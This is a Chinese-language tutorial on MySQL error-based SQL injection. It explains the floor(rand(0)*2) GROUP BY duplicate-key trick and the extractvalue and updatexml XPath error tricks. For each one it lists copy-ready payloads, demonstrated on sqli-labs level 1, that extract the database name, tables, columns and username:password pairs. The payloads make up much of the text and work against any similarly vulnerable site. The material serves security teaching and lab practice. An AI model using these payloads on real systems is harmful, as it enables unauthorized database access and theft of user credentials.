适用场景:页面返回错误连接信息

floor报错注入

floor()函数,去除小数部分,向下取整

rand()函数,产生0~1的随机数

rand(x):x对应一个固定的值,但连续多次执行会变化。

floor(rand(0)*2)产生的序列为011011。

原理

利用数据库主键不能重复的原理,使用group by分组,产生主键冗余,导致报错

select count(), floor(rand(0)*2) as a from information_schema.tables group by a;

这里的group by直接与floor(rand(0)*2)连接,由于floor(rand(0)*2)产生的随机序列为011011,下面就是数据库内的运算

首先建立一张虚拟表:

key count(*)

接着进行group by floor(rand(0)*2)。floor表达式第一次运算的值为0,在表中没有找到key为0的数据,故插入,在插入的过程中需要再取一次group by后面的值(即再进行一次floor运算,结果为1),取到了1,将之插入,并将count(*)置1。

key count(*)
1 1

继续进行group by floor(rand(0)*2),由于这是第三次运算,所以floor(rand(0)*2)的值为1,刚好表中已有key为1的数据,所以直接在count(*)处加上1即可。

key count(*)
1 2

继续进行group by floor(rand(0)*2)的操作,现在已经是第四次floor运算,所以现在值为0,继续在表中找key为0的数据,发现没有这个数据,所以应当插入一条新的数据,此时重复第一次group by,这时的key值为1,并将count(*)的值设为1。可是表中现在已经存在key为1的数据,故此时抛出主键冗余的异常。

靶场演示

(sqlilabs靶场第1关)

爆库:

id=1' and (select 1 from (select count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)--+

爆表:

id=1' and (select 1 from (select count(*),concat(0x23,(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),0x23,floor(rand(0)*2)) as x from
information_schema.tables group by x) as a)--+

爆列名:

id=1' and (select 1 from (select count(*),concat(0x23,(select concat(column_name) from information_schema.columns where table_name='users' limit 1,1),0x23,floor(rand(0)*2)) as x from
information_schema.tables group by x) as a)--+

爆字段:

id=1' and (select 1 from (select count(*),concat(0x23,(select concat(username,':',password) from security.users limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)--+

Extractvalue报错注入

Extractvalue(xml_frag,xpath_expr)函数使用XPath表示法从XML字符串中提取值

xml_frag:目标xml文档

xpath_expr:利用xpath路径法表示的查找路径

原理

xpath格式语法书写错误会报错

SELECT extractvalue('<a><b>text1</b><b>text2</b></a>','/a/b') as result;

SELECT extractvalue('<a><b>text1</b><b>text2</b></a>','database()') as result;

靶场演示

(sqlilabs靶场第1关)

爆库:

id=1' and extractvalue(1,concat_ws(0x23,user(),version(),database(),@@version_compile_os))--+

爆表:

id=1' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

爆列:

id=1' and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users')))--+

爆字段:

id=1' and extractvalue(1,(select group_concat(username,':',password) from users))--+

updatexml报错注入

updatexml(XML_document,XPath_String,new_value)函数,返回替换的xml片段

XML_document:XML文档的名称,为string格式

XPath_String:XPath格式的字符串

new_value:替换查找到的符合条件的数据,为string格式

原理

同extractvalue报错一样,构造错误的Xpath,以达到报错注入

靶场演示

(sqlilabs靶场第1关)

爆库:

id=1' and updatexml(1,concat(0x23,version(),user()),1)--+

爆表:

id=1' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+

爆列:

id=1' and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+

爆字段:

id=1' and updatexml(1,concat(0x23,(select group_concat(username,0x23,password) from security.users)),1)--+